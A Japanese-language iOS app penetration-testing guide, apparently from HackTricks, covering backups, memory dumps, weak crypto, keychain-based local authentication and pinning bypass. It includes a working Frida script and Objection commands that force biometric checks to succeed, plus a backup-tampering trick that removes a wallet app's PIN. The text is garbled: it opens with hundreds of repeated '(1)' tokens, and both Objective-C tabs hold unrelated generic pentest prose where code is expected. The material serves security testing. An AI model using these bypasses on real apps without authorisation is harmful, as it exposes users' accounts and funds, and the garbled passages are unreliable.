(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
========================
ASL is here to serve you
> watch
OK
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
バックアップ
iOSには、デバイスに保存されているデータのコピーを作成する自動バックアップ機能が含まれています。iTunes(macOS Catalinaまで)またはFinder(macOS Catalina以降)を使用するか、iCloudバックアップ機能を使用して、ホストコンピュータからiOSバックアップを作成できます。いずれの場合も、バックアップにはApple Pay情報やTouch IDの設定などの高度に機密性の高いデータを除く、iOSデバイスに保存されているほぼすべてのデータが含まれます。
iOSはインストールされたアプリとそのデータをバックアップするため、明らかな懸念は、アプリによって保存された機密ユーザーデータがバックアップを通じて意図せず漏洩する可能性があるかどうかです。もう1つの懸念は、データを保護したりアプリの機能を制限するために使用される機密の設定が、変更されたバックアップを復元した後にアプリの動作を変更するために改ざんされる可能性があるかどうかです。両方の懸念は妥当であり、これらの脆弱性は現在、多数のアプリに存在することが証明されています。
モバイルアプリがインストールされたデバイスのバックアップには、アプリのプライベートディレクトリのすべてのサブディレクトリ(Library/Caches/
を除く)およびファイルが含まれます。
したがって、アプリのプライベートディレクトリまたはサブディレクトリに含まれるファイルやフォルダに機密データを平文で保存しないようにしてください。
Documents/
およびLibrary/Application Support/
のすべてのファイルは、デフォルトで常にバックアップされますが、バックアップからファイルを除外するには、NSURLIsExcludedFromBackupKey
キーを使用してNSURL setResourceValue:forKey:error:
を呼び出すことができます。
ファイルとディレクトリをバックアップから除外するために、NSURLIsExcludedFromBackupKeyおよびCFURLIsExcludedFromBackupKeyファイルシステムプロパティを使用できます。
{% hint style="warning" %} したがって、アプリケーションのバックアップをチェックする際には、アクセス可能な機密情報があるかどうか、およびバックアップの設定を変更してバックアップを復元することで、アプリケーションの機密な動作を変更できるかどうかを確認する必要があります。 {% endhint %}
テスト方法
まず、デバイスのバックアップを作成します(Finderを使用して行うことができます)。バックアップの保存場所を見つけるために、公式のAppleのドキュメントを参照してください:iPhone、iPad、およびiPod touchのバックアップの場所を特定する。
デバイスのバックアップ(/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}
)を見つけたら、grepなどを使用して機密情報を探したり、iMazingのようなツールを使用したりできます。
バックアップが暗号化されているかどうかを特定するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定を示しています:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
必要に応じて、暗号化されたバックアップで作業する場合、DinoSecのGitHubリポジトリには、backup_tool.pyやbackup_passwd.pyなどのPythonスクリプトがいくつかあります。これらは良い出発点となるでしょう。ただし、最新のiTunes/Finderバージョンでは動作しない可能性があり、調整が必要になるかもしれません。
また、ツールiOSbackupを使用して、パスワードで暗号化されたiOSバックアップから簡単にファイルを読み取り、抽出することもできます。
動作の変更方法
オープンソースのビットコインウォレットアプリであるBitherでは、UIをロックするためにPINを設定することができます。
このPINは、pin_codeというkeyでnet.bither.plist
というファイルに保存されています。
このplist内のキーを削除し、バックアップを復元すると、ウォレットにアクセスできるようになります。
機密データのメモリテスト
ある時点で、機密情報がメモリに保存されることになります。目的は、この情報ができるだけ短時間で公開されるようにすることです。
アプリケーションのメモリを調査するためには、まずメモリダンプを作成します。または、デバッガなどを使用してメモリをリアルタイムで分析することもできます。どの方法を使用しても、これは非常にエラーが発生しやすいプロセスです。ダンプは実行された関数によって残されたデータを提供し、重要なステップを実行し忘れる可能性があります。また、分析中にデータを見落とすことは非常に簡単です。データの足跡(正確な値または形式)を知っていない限り、メモリにキーが表示されることはほとんどありません。たとえば、アプリがランダムに生成された対称鍵によって暗号化される場合、その鍵の値を他の手段で見つけない限り、メモリに鍵を見つけることは非常に困難です。
メモリダンプの取得と分析
脱獄済みのデバイスまたは非脱獄済みのデバイスを使用して、objectionやFridumpを使用して、アプリのプロセスメモリをダンプすることができます。
メモリがダンプされた後(たとえば、"memory"という名前のファイルにダンプされた場合)、探しているデータの性質に応じて、さまざまなツールセットが必要になります。たとえば、文字列に焦点を当てている場合、strings
コマンドやrabin2 -zz
コマンドを実行してそれらの文字列を抽出することが十分かもしれません。
# using strings
$ strings memory > strings.txt
# using rabin2
$ rabin2 -ZZ memory > strings.txt
お気に入りのエディタでstrings.txt
を開き、機密情報を特定するために探索してください。
ただし、他の種類のデータを調査したい場合は、radare2とその検索機能を使用することをお勧めします。詳細やオプションのリストについては、radare2の検索コマンド(/?
)のヘルプを参照してください。以下はその一部です。
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00 search for string 'foo\0'
| /c[ar] search for crypto materials
| /e /E.F/i match regular expression
| /i foo search for string 'foo' ignoring case
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
| /v[1248] value look for an `cfg.bigendian` 32bit value
| /w foo search for wide string 'f\0o\0o\0'
| /x ff0033 search for hex string
| /z min max search for strings of given size
...
ランタイムメモリ解析
r2fridaを使用することで、アプリが実行中であり、ダンプする必要なくメモリを分析および検査することができます。例えば、r2fridaから前述の検索コマンドを実行し、文字列や16進数の値などをメモリ内で検索することができます。その際、セッションをr2 frida://usb//<name_of_your_app>
で開始した後、検索コマンド(および他のr2frida固有のコマンド)の前にバックスラッシュ\
を付けることを忘れないでください。
破損した暗号化
鍵管理プロセスの不備
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
安全でないおよび/または非推奨のアルゴリズムの使用
開発者は、認証のチェック、データの保存、送信に非推奨のアルゴリズムを使用すべきではありません。これらのアルゴリズムのいくつかには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース耐性のある方法を使用する必要があります。
チェック
コード内にハードコードされたパスワード/シークレットがあるか、それらが予測可能であるか、コードが弱い****暗号化アルゴリズムを使用しているかを確認するために行う主なチェックです。
興味深いことに、objectionを使用して一部の暗号ライブラリを自動的にモニタリングすることができます。以下のように実行します:
ios monitor crypt
詳細な情報については、iOSの暗号化APIとライブラリにアクセスしてください。https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
ローカル認証
テスターは、ローカル認証は常にリモートエンドポイントで強制されるべきであること、または暗号化プリミティブに基づいていることを意識する必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。
ローカル認証フレームワークは、開発者が認証ダイアログをユーザーに拡張するためのAPIセットを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するためにkeychainを活用することが可能です(おすすめです)。
指紋IDセンサーは、SecureEnclaveセキュリティコプロセッサによって操作され、指紋データをシステムの他の部分に公開しません。Touch IDの次に、Appleは顔認識に基づいた認証を可能にする_Face ID_を導入しました。
開発者は、Touch ID/Face ID認証を組み込むために2つのオプションがあります:
LocalAuthentication.framework
は、ユーザーをTouch IDを使用して認証するための高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。Security.framework
は、keychainサービスにアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを保護する必要がある場合、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。Security.framework
にはC APIがありますが、いくつかのオープンソースのラッパーが利用可能であり、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単です。
{% hint style="danger" %}
LocalAuthentication.framework
またはSecurity.framework
を使用する場合、攻撃者によってバイパスされる可能性がある制御であることに注意してください。これらの制御は真偽値のみを返し、進行するためのデータは返しません。詳細については、Don't touch me that way, by David Lindner et alを参照してください。
{% endhint %}
ローカル認証フレームワーク
開発者は、LAContext
クラスのevaluatePolicy
関数を利用して認証プロンプトを表示することができます。利用可能な2つのポリシーは、許容される認証形式を定義します:
deviceOwnerAuthentication
(Swift)またはLAPolicyDeviceOwnerAuthentication
(Objective-C):利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブになっていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効になっていない場合、ポリシーの評価は失敗します。deviceOwnerAuthenticationWithBiometrics
(Swift)またはLAPolicyDeviceOwnerAuthenticationWithBiometrics
(Objective-C):認証はTouch IDに制限され、ユーザーはTouch IDのために求められます。
evaluatePolicy
関数は、ユーザーが正常に認証されたかどうかを示す真偽値を返します。つまり、簡単にバイパスすることができます(以下を参照)。
キーチェーンを使用したローカル認証
iOSキーチェーンAPIは(そして使用すべきです)ローカル認証を実装するために使用できます。このプロセスでは、アプリはキーチェーンに秘密の認証トークンまたは他の秘密のデータを保存します。リモートサービスに認証するために、ユーザーはパスフレーズまたは指紋を使用してキーチェーンをロック解除し、秘密のデータを取得する必要があります。
キーチェーンは、特別なSecAccessControl
属性を持つアイテムを保存することができます。これにより、ユーザーがTouch ID認証をパスした後(または属性パラメータで許可されている場合はパスコード)、キーチェーンからアイテムにアクセスできるようになります。
次の例では、文字列「test_strong_password」をキーチェーンに保存します。文字列は、パスコードが設定されている場合にのみ現在のデバイスでアクセスでき、現在登録されている指に対してTouch ID認証が行われた後にのみアクセスできます(kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
パラメータとSecAccessControlCreateFlags.biometryCurrentSet
パラメータ):
{% tabs %} {% tab title="Swift" %}
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
{% tab title="Objective-C" %}
以下は、iOSアプリのペネトレーションテストに使用するための情報です。このガイドでは、iOSアプリの脆弱性を特定し、悪用するためのテクニックについて説明します。
ペネトレーションテストの準備
iOSアプリのペネトレーションテストを実施する前に、以下の手順を実行する必要があります。
-
iOSデバイスの準備: ペネトレーションテストを実施するためには、iOSデバイスが必要です。デバイスは、実機またはシミュレータのいずれかを使用できます。
-
iOSアプリの取得: ペネトレーションテストを実施するためには、対象のiOSアプリを取得する必要があります。アプリは、App Storeから直接ダウンロードするか、IPAファイルを入手することができます。
-
iOSアプリの解析: 取得したiOSアプリを解析し、内部の構造やコードを理解する必要があります。これには、逆コンパイルツールやデコンパイラを使用することができます。
iOSアプリの脆弱性の特定
iOSアプリの脆弱性を特定するためには、以下のテクニックを使用することができます。
-
リバースエンジニアリング: iOSアプリのバイナリを解析し、内部のコードやロジックを理解するためにリバースエンジニアリングを行います。これには、逆コンパイルツールやデバッガを使用することができます。
-
情報収集: iOSアプリに関連する情報を収集し、アプリの脆弱性を特定するための情報を収集します。これには、アプリのバージョン、使用されているフレームワークやライブラリ、APIエンドポイントなどの情報が含まれます。
-
セキュリティテスト: iOSアプリのセキュリティテストを実施し、脆弱性を特定します。これには、認証のバイパス、データの漏洩、不正なAPI呼び出し、不正なデータ入力などのテストが含まれます。
iOSアプリの脆弱性の悪用
iOSアプリの脆弱性を悪用するためには、以下のテクニックを使用することができます。
-
認証のバイパス: iOSアプリの認証機能をバイパスし、アプリにアクセスするための認証を回避します。これには、デバッグモードの有効化、認証トークンの改ざん、セッションハイジャックなどのテクニックが含まれます。
-
データの漏洩: iOSアプリからデータを漏洩させるために、データベースやファイルシステムへのアクセスを悪用します。これには、SQLインジェクション、ファイルインクルージョン、データベースの脆弱性などのテクニックが含まれます。
-
不正なAPI呼び出し: iOSアプリのAPIを悪用し、アプリの動作を制御します。これには、APIエンドポイントの改ざん、不正なパラメータの送信、APIキーの漏洩などのテクニックが含まれます。
-
不正なデータ入力: iOSアプリに不正なデータを入力し、アプリの動作を乱します。これには、XSS攻撃、CSRF攻撃、データの改ざんなどのテクニックが含まれます。
以上が、iOSアプリのペネトレーションテストに使用するための情報です。これらのテクニックを使用して、iOSアプリの脆弱性を特定し、悪用することができます。
{% endtab %}
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
{% endtab %} {% endtabs %}
これで、キーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。
{% tabs %} {% tab title="Swift" %}
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
{% tab title="Objective-C" %}
以下は、iOSアプリのペネトレーションテストに使用するための情報です。
概要
iOSアプリのペネトレーションテストは、iOSアプリケーションのセキュリティ脆弱性を特定し、悪用される可能性を排除するために行われます。このガイドでは、iOSアプリのペネトレーションテストに使用するツールとテクニックについて説明します。
ツール
以下は、iOSアプリのペネトレーションテストに使用する一般的なツールです。
- Burp Suite: プロキシサーバーとして使用し、トラフィックのキャプチャと分析を行います。
- Cycript: iOSアプリのランタイム解析とデバッグに使用します。
- Frida: iOSアプリのランタイム解析とデバッグに使用します。
- MobSF: モバイルアプリケーションのセキュリティフレームワークです。
- Needle: iOSアプリのセキュリティテストフレームワークです。
- Objection: iOSアプリのランタイム解析とデバッグに使用します。
- Xcode: iOSアプリの開発とデバッグに使用します。
テクニック
以下は、iOSアプリのペネトレーションテストに使用する一般的なテクニックです。
- リバースエンジニアリング: iOSアプリのバイナリ解析を行い、アプリの内部構造やセキュリティ脆弱性を特定します。
- ランタイム解析: iOSアプリの実行中にランタイム情報を解析し、セキュリティ脆弱性を特定します。
- APIインターセプト: iOSアプリが使用するAPI呼び出しをインターセプトし、データの送受信を監視します。
- データ暗号化の解析: iOSアプリが使用するデータ暗号化アルゴリズムを解析し、セキュリティ脆弱性を特定します。
- セッションハイジャック: iOSアプリのセッションをハイジャックし、ユーザーの認証情報やセッションデータを盗みます。
- データリークの検出: iOSアプリが不適切にデータを保存または送信している場合、データリークを検出します。
注意事項
iOSアプリのペネトレーションテストを実施する際には、以下の注意事項に留意してください。
- ペネトレーションテストは、合法的な目的のために実施される必要があります。許可なく他人のアプリをテストすることは違法です。
- ペネトレーションテストを実施する前に、アプリの所有者から正式な許可を取得してください。
- ペネトレーションテスト中には、アプリの機能やデータに悪影響を与えないように注意してください。
- ペネトレーションテストの結果や発見した脆弱性については、アプリの所有者と適切に共有してください。
参考文献
{% endtab %}
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
{% endtab %} {% endtabs %}
検出
アプリのバイナリの共有ダイナミックライブラリのリストを分析することで、アプリ内でのフレームワークの使用も検出することができます。これは otool
を使用して行うことができます。
$ otool -L <AppName>.app/<AppName>
もしアプリでLocalAuthentication.framework
が使用されている場合、出力には以下の2つの行が含まれます(LocalAuthentication.framework
は内部でSecurity.framework
を使用していることを覚えておいてください):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
もしSecurity.framework
が使用されている場合、2番目のものだけが表示されます。
ローカル認証フレームワークのバイパス
Objection
Objection Biometrics Bypassは、LocalAuthenticationをバイパスするために使用されます。ObjectionはFridaを使用してevaluatePolicy
関数をインストルメントし、認証が成功しなかった場合でもTrue
を返すようにします。ios ui biometrics_bypass
コマンドを使用して、安全でない生体認証をバイパスします。Objectionはジョブを登録し、evaluatePolicy
の結果を置き換えます。これはSwiftとObjective-Cの両方で動作します。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
もし脆弱性がある場合、モジュールは自動的にログインフォームをバイパスします。
Frida
DVIA-v2アプリケーションから**evaluatePolicy
**の使用例:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
ローカル認証をバイパスするためには、上記に貼り付けられたコードスニペットで示されているように、evaluatePolicyのチェックをバイパスするFridaスクリプトを作成する必要があります。上記のコードスニペットでわかるように、evaluatePolicyはcallbackを使用してresultを決定します。したがって、ハックを達成する最も簡単な方法は、そのコールバックを傍受し、常にsuccess=1を返すようにすることです。
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
IPCを介した機密機能の公開
カスタムURIハンドラー/ディープリンク/カスタムスキーム
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}
ユニバーサルリンク
{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}
UIActivity共有
{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}
UIPasteboard
{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}
アプリ拡張機能
{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}
Webビュー
{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}
シリアル化とエンコーディング
{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}
ネットワーク通信
暗号化なしでの通信が行われていないことを確認することは重要です。また、アプリケーションがサーバーのTLS証明書を正しく検証していることも確認する必要があります。
このような問題をチェックするためには、Burpのようなプロキシを使用できます。
{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}
ホスト名のチェック
TLS証明書の検証における一般的な問題は、証明書が信頼できるCAによって署名されているかどうかをチェックすることですが、証明書のホスト名がアクセスされているホスト名と一致しているかどうかをチェックしないことです。
この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、Burpで異なるホスト名のために新しい証明書を作成して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
証明書ピニング
アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。テスト中には、Burpが独自の証明書を提供するため、これは問題になる可能性があります。
ジェイルブレイクされたデバイス内でこの保護をバイパスするために、アプリケーションSSL Kill Switchをインストールするか、Burp Mobile Assistantをインストールすることができます。
また、objectionのios sslpinning disable
を使用することもできます。
その他
- **
/System/Library
**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。 - ユーザーがApp Storeからインストールしたアプリケーションは、**
/User/Applications
**にあります。 - **
/User/Library
**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 - **
/User/Library/Notes/notes.sqlite
**にアクセスして、アプリケーション内に保存されたメモを読むことができます。 - インストールされたアプリケーションのフォルダー(
/User/Applications/<APP ID>/
)の中には、いくつかの興味深いファイルがあります: iTunesArtwork
:アプリで使用されるアイコンiTunesMetadata.plist
:App Storeで使用されるアプリの情報/Library/*
:設定とキャッシュが含まれています。**/Library/Cache/Snapshots/*
**には、バックグラウンドに送信する前にアプリケーションに対して実行されたスナップショットがあります。
ホットパッチング/強制更新
開発者は、アプリをApp Storeに再提出して承認されるまで待つことなく、すべてのインストールされたアプリをリモートで即座にパッチすることができます。
この目的のためには、通常はJSPatchが使用されますが、Sirenやreact-native-appstore-version-checkerなどの他のオプションもあります。
**これは悪意のある第三者のSDKによって悪用される可能性がある危険なメカニズムです。そのため、自動更新に使用される方法(あれば)を確認し、テストすることが推奨されます。**この目的のために、以前のバージョンのアプリをダウンロードしてみることができます。
サードパーティ
サードパーティのSDKの問題の一つは、SDKが提供する機能に対して細かい制御ができないことです。SDKを使用すると、診断的な情報漏洩や安全でないHTTP接続を含むすべての機能を使用することになります。また、通常、アプリケーションの開発者はSDKの脆弱性をパッチすることができません。
さらに、一部のSDKは、コミュニティに非常に信頼されるようになると、マルウェアを含むようになることがあります。
さらに、これらのサービスが提供する機能には、アプリの使用中にユーザーの行動を監視するためのトラッキングサービス、バナー広告の販売、ユーザーエクスペリエンスの向上などが含まれる場合があります。サードパーティサービスのデメリットは、開発者がサードパーティライブラリを介して実行されるコードの詳細を把握できないことです。そのため、サービスに送信する情報は必要最小限にとどめ、機密情報は開示しないようにする必要があります。
